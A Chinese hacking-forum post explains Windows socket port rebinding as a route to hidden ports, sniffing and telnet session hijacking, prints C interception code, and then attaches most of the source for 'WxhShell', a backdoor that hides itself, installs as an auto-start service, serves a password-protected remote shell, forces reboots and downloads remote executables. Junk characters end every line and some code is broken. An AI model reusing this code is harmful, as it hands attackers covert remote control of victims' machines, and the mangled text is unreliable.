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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _b_?9b-)D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^M"z1B]  
FaE#\Q  
  saddr.sin_family = AF_INET; *UBP]w  
n<<=sj$\!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k l!?/M  
[AZ aT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %aH$Tb%`hc  
zf3:<CRX5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =v4r M0m,  
PB(  
  这意味着什么?意味着可以进行如下的攻击: =vr Y{5!>  
F|?+>c1}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uR:=V9O  
}\f(qw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tpa^k  
w;c#drY7S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6b ]1d04hT  
2:iYYRrg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $xA J9_2P  
FL`1yD^2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vXWsF\g  
kOAY@a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 * {gxI<   
h41$|lonU%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cophAP  
V~T`&  
  #include 0L:V#y-*  
  #include <mZrR3v'D  
  #include F_nZvv[H?  
  #include    z1f^p7$M?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6Z(*cf/s  
  int main() 9fP) Fwih  
  { `RL,ZoYuu  
  WORD wVersionRequested; crd|2bjp+  
  DWORD ret; tw'hh@7-Y  
  WSADATA wsaData; )W8L91-  
  BOOL val; S5~`T7Ra  
  SOCKADDR_IN saddr; [jl2\3*  
  SOCKADDR_IN scaddr; k,,!P""  
  int err; Fn86E dFM  
  SOCKET s; cy)k<?,  
  SOCKET sc; -F"d0a,  
  int caddsize; |N:MZ#};  
  HANDLE mt; ORowx,(hX  
  DWORD tid;   g7xbyB o7  
  wVersionRequested = MAKEWORD( 2, 2 ); 908ayfVI  
  err = WSAStartup( wVersionRequested, &wsaData ); H\^VqNK"  
  if ( err != 0 ) { e0f":Vct  
  printf("error!WSAStartup failed!\n"); /Hv* K&}M  
  return -1; ]alh_U  
  } m[Z6VHn  
  saddr.sin_family = AF_INET; f49"pTw7  
   ku{XW8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L5Urg*GNL  
w`L~#yu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \ V6   
  saddr.sin_port = htons(23); +XEjXH5K  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tC&fA E:S  
  { XtCoX\da  
  printf("error!socket failed!\n"); /61by$E  
  return -1; F9MR5O"  
  } pT4qPta,2  
  val = TRUE; {Q)dU-\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~xS@]3n=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i90}Xyt  
  { |~SE"  
  printf("error!setsockopt failed!\n"); hG= k1T%=  
  return -1; N~;*bvW{  
  } u7HvdLql  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \a"i7Caa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t)9]<pN%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 NCa~#i:F8  
;SgD 5Ln}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *B1x`=  
  { 4E2yH6l  
  ret=GetLastError(); lR:?uZ$  
  printf("error!bind failed!\n"); ,j y<o+!  
  return -1; }'%^jt[3  
  } @g4Shlx|  
  listen(s,2); -I ?z-?<D  
  while(1) 4r\*@rq  
  { RU0i#suiz  
  caddsize = sizeof(scaddr); X8Xn\E  
  //接受连接请求 QC{u|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |zq4*  5  
  if(sc!=INVALID_SOCKET) h3kaD  
  { il12T`a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^ Hg/P8q  
  if(mt==NULL) b6"}"bG  
  {  R:~(Z?  
  printf("Thread Creat Failed!\n"); T"?Y5t`(  
  break; I5qM.@%zB  
  } r| f-_D  
  } o@9+mM"B)  
  CloseHandle(mt); >SoO4i8  
  } %x2 uP9  
  closesocket(s); l&L,7BX  
  WSACleanup(); o'Wz*oY))\  
  return 0; 2ev*CX6.  
  }   #{$1z;i?f  
  DWORD WINAPI ClientThread(LPVOID lpParam) &vkjmiAS  
  { ([R")~`(l2  
  SOCKET ss = (SOCKET)lpParam; D9BQID$R  
  SOCKET sc; Fu7M0X'p  
  unsigned char buf[4096]; q$gz_nVq,b  
  SOCKADDR_IN saddr; ?^9BMQ+  
  long num; 2no$+4+z  
  DWORD val; ]78!!G[`  
  DWORD ret; >;4!O%F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S`m,S4-eD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h?Nek+1'  
  saddr.sin_family = AF_INET; OQp, 3 M{_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?59'dGnz_  
  saddr.sin_port = htons(23); 7 Wl-n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 53Yxz3v  
  { 8#X_#  
  printf("error!socket failed!\n"); 4w4^yQE  
  return -1; 6e&$l-  
  } ?Go!j?#a  
  val = 100; Bz /@c)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VUtXxvH  
  { q .J sf+  
  ret = GetLastError(); .[:VSM7T  
  return -1; HYCuK48F[_  
  } %}3qR~;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hmC*^"C>U=  
  { #%$28sxB  
  ret = GetLastError(); 9QwKakci  
  return -1; ^/@jwZ  
  } $,fy$ Qk,S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~"K ,7sw!Y  
  { f>polxB%N  
  printf("error!socket connect failed!\n"); UZ2TqR  
  closesocket(sc); e6E?t[hEeS  
  closesocket(ss); -!e7L>w  
  return -1; `P}9i@C  
  } W!T"m)S  
  while(1) Hfym30  
  { (MLwQiop  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o-C#|t3hH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X4|4QgY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o0bM=njok  
  num = recv(ss,buf,4096,0); k*mt4~KLT8  
  if(num>0) B<?w h0  
  send(sc,buf,num,0); wkUlrL/~  
  else if(num==0) `aC){&AP(  
  break; /Ncm^b4  
  num = recv(sc,buf,4096,0); k8AW6oO/i  
  if(num>0) he(A3{'  
  send(ss,buf,num,0); tDg}Ys=4K>  
  else if(num==0) {)8>jxQN  
  break; _)T5lEFl=  
  } ^T::-pN*  
  closesocket(ss); PwB1]p=  
  closesocket(sc); c0&Rg#  
  return 0 ; Om;&_!i  
  } )3Z ^h<"j  
^(HUGl_  
&-d&t` `  
========================================================== $5D,sEC@  
VHJM*&5  
下边附上一个代码,,WXhSHELL eqw0]U\pv  
}|u4 W?H  
========================================================== C?Bl{4-P}*  
aE;le{|!({  
#include "stdafx.h" *t[. =_v  
0Z[oKXm1p  
#include <stdio.h> d)4 m6  
#include <string.h> CHrFM@CM  
#include <windows.h> 3b'QLfU&#  
#include <winsock2.h> ~T&<CTh  
#include <winsvc.h> (q+)'H%iK  
#include <urlmon.h>  ks$JP6  
h3LE>}6D  
#pragma comment (lib, "Ws2_32.lib") EkgE_8  
#pragma comment (lib, "urlmon.lib") -gSUjP  
 1%4sHSN  
#define MAX_USER   100 // 最大客户端连接数 ]QzGE8jp*  
#define BUF_SOCK   200 // sock buffer TT =b79k  
#define KEY_BUFF   255 // 输入 buffer ^6_e=jIN  
8"sb;  
#define REBOOT     0   // 重启 ^*P%=>zO  
#define SHUTDOWN   1   // 关机 Ecd;<$tk  
DxUKUE  
#define DEF_PORT   5000 // 监听端口 \,u_7y2 c  
)+:EJH~  
#define REG_LEN     16   // 注册表键长度 gw, UQbnu  
#define SVC_LEN     80   // NT服务名长度 J ]nohICe  
U}[I   
// 从dll定义API UK<Nj<-'t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8 7D*-Gw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N[s}qmPha  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^$b Y,CE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {zMU#=EC  
W[Ls|<Q  
// wxhshell配置信息 6@rMtQfI  
struct WSCFG { Q_[ 3`j l  
  int ws_port;         // 监听端口 8_{X1bj  
  char ws_passstr[REG_LEN]; // 口令 ~`aa5;Ab_  
  int ws_autoins;       // 安装标记, 1=yes 0=no eEuvl`&  
  char ws_regname[REG_LEN]; // 注册表键名 d3D] k,  
  char ws_svcname[REG_LEN]; // 服务名 7Zlw^'q$:L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 etTn_v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [ucpd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7pe\M/kl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a{L d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <sBbT `  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0yD9SJn  
}H^+A77v  
}; A~)D[CV  
<g$~1fa  
// default Wxhshell configuration 17%Mw@+  
struct WSCFG wscfg={DEF_PORT, <0Xf9a8>  
    "xuhuanlingzhe", 37s0e;aF  
    1, F(>Np2oi6  
    "Wxhshell", h1de[q)  
    "Wxhshell", 9Z4nAc  
            "WxhShell Service", GPN]9  
    "Wrsky Windows CmdShell Service", t'n pG}`tE  
    "Please Input Your Password: ", _852H$H\  
  1, `sn^ysp  
  "http://www.wrsky.com/wxhshell.exe", ;ub;l h3  
  "Wxhshell.exe" qLD ?juas  
    }; 6^]+[q}3  
pM4 :#%V  
// 消息定义模块 8A##\j )  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l9{hq/V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h9}+l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,E S0NA  
char *msg_ws_ext="\n\rExit."; >*35C`^  
char *msg_ws_end="\n\rQuit."; wW>A_{Y  
char *msg_ws_boot="\n\rReboot..."; ua3~iQj-  
char *msg_ws_poff="\n\rShutdown..."; Z^3rLCa  
char *msg_ws_down="\n\rSave to "; t}r ' k/[  
]_f_w 9]  
char *msg_ws_err="\n\rErr!"; )_HA>o_?C:  
char *msg_ws_ok="\n\rOK!"; oB(?_No7  
b RFLcM  
char ExeFile[MAX_PATH]; <cps2*'  
int nUser = 0; (KjoSN( K  
HANDLE handles[MAX_USER]; slCx w$  
int OsIsNt; fDv2JdiU  
luh$2 \5B  
SERVICE_STATUS       serviceStatus; .s?L^Z^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jys:5P  
` Fa~  
// 函数声明 b/+u4'"  
int Install(void); V(H1q`ao9  
int Uninstall(void); |3(' N#|  
int DownloadFile(char *sURL, SOCKET wsh); R`NYEptJ  
int Boot(int flag); ?+))}J5N\  
void HideProc(void); (nQ^  
int GetOsVer(void); >^u2cAi3[  
int Wxhshell(SOCKET wsl); .]8ZwAs=&  
void TalkWithClient(void *cs); h79}qU  
int CmdShell(SOCKET sock); S|Q@:r"  
int StartFromService(void); KjD/o?JUr  
int StartWxhshell(LPSTR lpCmdLine); (p"%O  
W: z6Koc0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .73X3`P25  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y`~Ut:fZ  
T^zXt?  
// 数据结构和表定义 8?xE6  
SERVICE_TABLE_ENTRY DispatchTable[] = 2=*H 8'k  
{ Tf>bX_L?  
{wscfg.ws_svcname, NTServiceMain}, #|uCgdi  
{NULL, NULL} 0CHH)Bku  
}; g_;\iqxL  
6_(&6]}66  
// 自我安装 iDpSj!x/_  
int Install(void) t*p71U4+I  
{ z0 d.J1VW  
  char svExeFile[MAX_PATH]; wo3d#=   
  HKEY key; =O~_Q-  
  strcpy(svExeFile,ExeFile); ]=\].% >  
?e%ZOI  
// 如果是win9x系统,修改注册表设为自启动 '6DBs8>1  
if(!OsIsNt) { })'B<vq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ` ./$&'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0- B5`=yU  
  RegCloseKey(key); 4VHn  \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1a/++4O.|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y#`tgJ:  
  RegCloseKey(key); ,<.V7(|t)  
  return 0; 49eD1h3'X[  
    } R8K&R\  
  } ~?l | [  
} ${DUCud,kY  
else { L7l FtX+b  
n3WlZ!$  
// 如果是NT以上系统,安装为系统服务 Fw_#N6Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &s(^@OayE  
if (schSCManager!=0)  -uS!\  
{ X;$+,&M"  
  SC_HANDLE schService = CreateService #`^}PuQ  
  ( F~-(:7j  
  schSCManager, juJklSD  
  wscfg.ws_svcname, GblA9F7  
  wscfg.ws_svcdisp, nkPh,X\N0  
  SERVICE_ALL_ACCESS, 9+|$$)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U4'#T%*  
  SERVICE_AUTO_START, w?L6!)oiz  
  SERVICE_ERROR_NORMAL, 10Q ]67  
  svExeFile, aj='b.2)  
  NULL, cZ,b?I"Q%  
  NULL, x>K Or,f  
  NULL, yxPazz  
  NULL, "Bkfoi  
  NULL RH W]Z Pr<  
  ); w7L{_aom  
  if (schService!=0) 70d1ReQ  
  { \doUTr R  
  CloseServiceHandle(schService); 2k~l$p>CN!  
  CloseServiceHandle(schSCManager); E_rI?t^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [jQp~&nY  
  strcat(svExeFile,wscfg.ws_svcname); >>r(/81S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T=DbBy0-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [(i  
  RegCloseKey(key); LBeF&sb6  
  return 0; >58YjLXb  
    } Q-okt RK  
  } J3V= 46Yc  
  CloseServiceHandle(schSCManager); c^xIm'eob  
} h8q[1"a:  
} $S6`}3  
au(D66VO  
return 1; n&4N[Qlv,  
} :LQYo'@yB  
5{WE~8$  
// 自我卸载 ?>:g?.+  
int Uninstall(void) Y1\}5k{>  
{ b~P`qj[  
  HKEY key; y-b%T|p9  
1t~G|zhX  
if(!OsIsNt) { HVCe;eI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C3f' {}  
  RegDeleteValue(key,wscfg.ws_regname); DCO\c9  
  RegCloseKey(key); !PlEO 2at  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _yx>TE2e  
  RegDeleteValue(key,wscfg.ws_regname); (S5R!lpO  
  RegCloseKey(key); D/gw .XYL  
  return 0; yxQ1`'[CR  
  } n38p!oS  
} 3ZPWze6  
} < NY^M!  
else { p`dU2gV  
Lg+Ac5y}`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2,oKVm+  
if (schSCManager!=0) S3%FHS  
{ 4Z=_,#h4.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Rok7n1gW  
  if (schService!=0) r,3DTBe  
  { |s(FLF-  
  if(DeleteService(schService)!=0) { I_#kgp  
  CloseServiceHandle(schService); &{hL&BLr  
  CloseServiceHandle(schSCManager); \)904W5R  
  return 0; =o(5_S.u;  
  } A`$%SVgFV^  
  CloseServiceHandle(schService); n)-$e4u2  
  } T*Exs|N2P-  
  CloseServiceHandle(schSCManager); /t57!&  
} aiUY>M#|  
} dq6m>;`  
%N6A+5H  
return 1; %lhEM}Sm  
} [PM 2\#K  
`2WFk8) F  
// 从指定url下载文件 H5B:;g@  
int DownloadFile(char *sURL, SOCKET wsh) A RuA<vQ  
{ r'r%w#=`t  
  HRESULT hr; 34O `@j0-3  
char seps[]= "/"; rQs)O<jl  
char *token; {X+3;&@  
char *file; |bHelD|  
char myURL[MAX_PATH]; _ QI\  
char myFILE[MAX_PATH]; l`{\"#4  
}O5i/#.lR  
strcpy(myURL,sURL); '~<m~UXvD#  
  token=strtok(myURL,seps); z&)A,ryW0  
  while(token!=NULL) z"L/G  
  { WIT>!|w_  
    file=token; m+R[#GE8#  
  token=strtok(NULL,seps); hGe/ ;@%  
  } Dlae;5 D  
NjScc%@y  
GetCurrentDirectory(MAX_PATH,myFILE); ^WgX Qtn  
strcat(myFILE, "\\"); *8Xh(` Mj7  
strcat(myFILE, file); &*,#5.  
  send(wsh,myFILE,strlen(myFILE),0); HxV=F66"  
send(wsh,"...",3,0); nI-w}NQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y|f[bw  
  if(hr==S_OK) 0/MtYIYk  
return 0; .CABH,Po:  
else xb~yM%*c  
return 1; _x'6]f{n  
F=e8IUr  
} HGs $*  
T{.pM4Hd  
// 系统电源模块 9igiZmM  
int Boot(int flag) W)2p@j59A  
{ jh%Eq+#S  
  HANDLE hToken; q4:o#K#  
  TOKEN_PRIVILEGES tkp; 5|j<`()H :  
VU(v3^1"  
  if(OsIsNt) { :'-/NtV)o?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iDp)FQ$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ThajHK|U  
    tkp.PrivilegeCount = 1; (AaoCa[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v6bGjVK[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w !-gJmX>  
if(flag==REBOOT) { e "4 ''/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xQ-<WF1i  
  return 0; vjGo;+K  
} q]ku5A\y  
else {  F2LLN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x_N'TjS^{  
  return 0; 30#s aGV  
} 2ozax)GY  
  } }%ojw |  
  else { f P 1[[3i  
if(flag==REBOOT) { [I,Z2G,Jb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eCU:Q  
  return 0; .Ni\\  
} kzQ+j8.,U  
else { +s,=lL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zII|9y  
  return 0; #Yj1w  
} {0Yf]FQb-a  
} RNEp4x  
h,u, ^ r  
return 1; <sGVR5NR  
} / |;RV"  
Ct<udO  
// win9x进程隐藏模块 |PCm01NU!  
void HideProc(void) by1<[$8r  
{ z1 | TC  
.nf#c.DI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F4-$~ v@  
  if ( hKernel != NULL ) Mlg0WrJ|2  
  { @su^0 9n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KEo ,m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #?aPisV X>  
    FreeLibrary(hKernel); g#pr yYz  
  } MC&` oX[  
f M :]&  
return; bivuqKA  
} x*\Y)9Vgy  
>^?u .gM3  
// 获取操作系统版本 ,hm\   
int GetOsVer(void) kYP#SH/  
{ \g&,@'uh  
  OSVERSIONINFO winfo; 2G & a{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }z'8Bu  
  GetVersionEx(&winfo); !I{0 _b{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XB;7!8|  
  return 1; w_"E*9  
  else u OmtyX  
  return 0; 38Mv25N  
} &T?RZ2  
n:I,PS0H<  
// 客户端句柄模块 htO +z7  
int Wxhshell(SOCKET wsl) xjUT{iwS  
{ jh?H.;**  
  SOCKET wsh; WH#1 zv  
  struct sockaddr_in client; ]!W=^!  
  DWORD myID; 0I-9nuw,^;  
jodIv=C  
  while(nUser<MAX_USER) xk9%F?)  
{ p;`>e>$  
  int nSize=sizeof(client);  sg^zH8,3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :;%2BSgFU  
  if(wsh==INVALID_SOCKET) return 1; y1jCg%'H  
S1T"Z{$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w8")w*9Lmg  
if(handles[nUser]==0) Ljm[?*H#  
  closesocket(wsh); W]$w@.oW[  
else *?@?f&E/  
  nUser++; l5Uiw2  
  } Y Vt% 0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f=l rg KE  
B-RjMxX4>  
  return 0; /* (Kr'c  
} M><yGaaX/  
nUaJzPl  
// 关闭 socket ^ox=HNV  
void CloseIt(SOCKET wsh) sU<Wnz\[  
{ <q58uuK  
closesocket(wsh); c`)\Pb/O  
nUser--;  C#.->\  
ExitThread(0); EgEa1l!NSQ  
} F@D`N0Pte  
C$=%!wf  
// 客户端请求句柄 d"1]4.c  
void TalkWithClient(void *cs) 1 &jc/*Z"  
{ Y sC>i`n9  
/aCc17>2V{  
  SOCKET wsh=(SOCKET)cs; DaQ?\uq  
  char pwd[SVC_LEN]; 3GYw+%Z]  
  char cmd[KEY_BUFF]; *g"Nq+i@  
char chr[1]; Hzm:xg  
int i,j; %@J.{@>  
G`D`Af/B  
  while (nUser < MAX_USER) { fivw~z|[@  
*gb*LhgO  
if(wscfg.ws_passstr) { 0(}t8lc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5+0gR &|j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r.=K~A  
  //ZeroMemory(pwd,KEY_BUFF); l+K'beP  
      i=0; gT{Q#C2Baw  
  while(i<SVC_LEN) { T3.&R#1M8-  
H\"sgoJ  
  // 设置超时 ;3coP{  
  fd_set FdRead; wD}l$ & +  
  struct timeval TimeOut; #6aW9GO  
  FD_ZERO(&FdRead); IZ-1c1   
  FD_SET(wsh,&FdRead); yf.~XUk^  
  TimeOut.tv_sec=8; sRR( `0Zp  
  TimeOut.tv_usec=0;  `,*3[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5X$jl;6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e`_LEv  
ha<[b ue  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dm0R[[7  
  pwd=chr[0]; ~8Fk(E_  
  if(chr[0]==0xd || chr[0]==0xa) { &{n.]]%O.  
  pwd=0; \A#41  
  break; Lnl(2xD  
  } CJx|?yK2  
  i++; U[-o> W#  
    } )T2Caqs2  
:gibfk]C  
  // 如果是非法用户,关闭 socket 9wUkh}s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N7zft  
} 3,3N^nSD  
!dnH 7 "  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a(m2n.0'>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,P Z ge  
CNIsZ v@Q  
while(1) { Ha ]YJ}  
KU;9}!#  
  ZeroMemory(cmd,KEY_BUFF); Nluoqo ac  
2[CdZ(k]5  
      // 自动支持客户端 telnet标准   >Se,;cB'/]  
  j=0; &0f,~ /%Z  
  while(j<KEY_BUFF) { 1U\z5$V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &[SC|=U'M  
  cmd[j]=chr[0]; uGt-l4  
  if(chr[0]==0xa || chr[0]==0xd) { XUw/2"D'?  
  cmd[j]=0; _ J[  
  break; $SE^S   
  } "\=U)CJ  
  j++; +"6`q;p3)  
    } E"@wek.-  
05k0n E  
  // 下载文件 n(|^SH4$b  
  if(strstr(cmd,"http://")) { frQ{iUx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v}x&?fU `  
  if(DownloadFile(cmd,wsh)) Z<phcqEi8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yZ`wfj$Jj  
  else 1QJL .  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gdoLyxQ  
  } }T$p)"  
  else { _?OG1t!  
aA TA9V  
    switch(cmd[0]) { O<\@~U  
  L:8q8i  
  // 帮助 n}V_,:Z  
  case '?': { ^VACf|0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X|8c>_}  
    break; veRm2 LSP  
  } =6#Eh=7N  
  // 安装 \_6/vZ%-B  
  case 'i': { K!]/(V(}  
    if(Install()) hDq`Z$_+KX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 SGDy]  
    else mo#04;VF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Q"K8=s  
    break; wIBO ^w\J  
    } 9]wN Bd  
  // 卸载 lo!+f"7ym\  
  case 'r': { `I5wV/%ib  
    if(Uninstall()) L`EBfz\n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KFkoS0M5|  
    else QZ%`/\(!8_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x7x\Y(@  
    break; Mzw X>3x  
    } v2;`f+  
  // 显示 wxhshell 所在路径 5j-YM  
  case 'p': { -{vKus  
    char svExeFile[MAX_PATH]; _W'-+,  
    strcpy(svExeFile,"\n\r"); S +^E.  
      strcat(svExeFile,ExeFile); _aMPa+D=P  
        send(wsh,svExeFile,strlen(svExeFile),0); yD6[\'%  
    break; {LQ#y/H?  
    } 0|\$Vp  
  // 重启 }t1a* z  
  case 'b': { yw3$2EW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X<; f  
    if(Boot(REBOOT)) x`IEU*z#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %zw1}|s#z  
    else { :e%Pvk  
    closesocket(wsh); M*H nM(  
    ExitThread(0); u4%Pca9(=  
    } @w!PaP  
    break; M8b;d}XL  
    } 'V=P*#|SR  
  // 关机 o\pVpbB  
  case 'd': { K$_0 `>[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /U)D5ot<  
    if(Boot(SHUTDOWN)) z}ddqZ27G$  
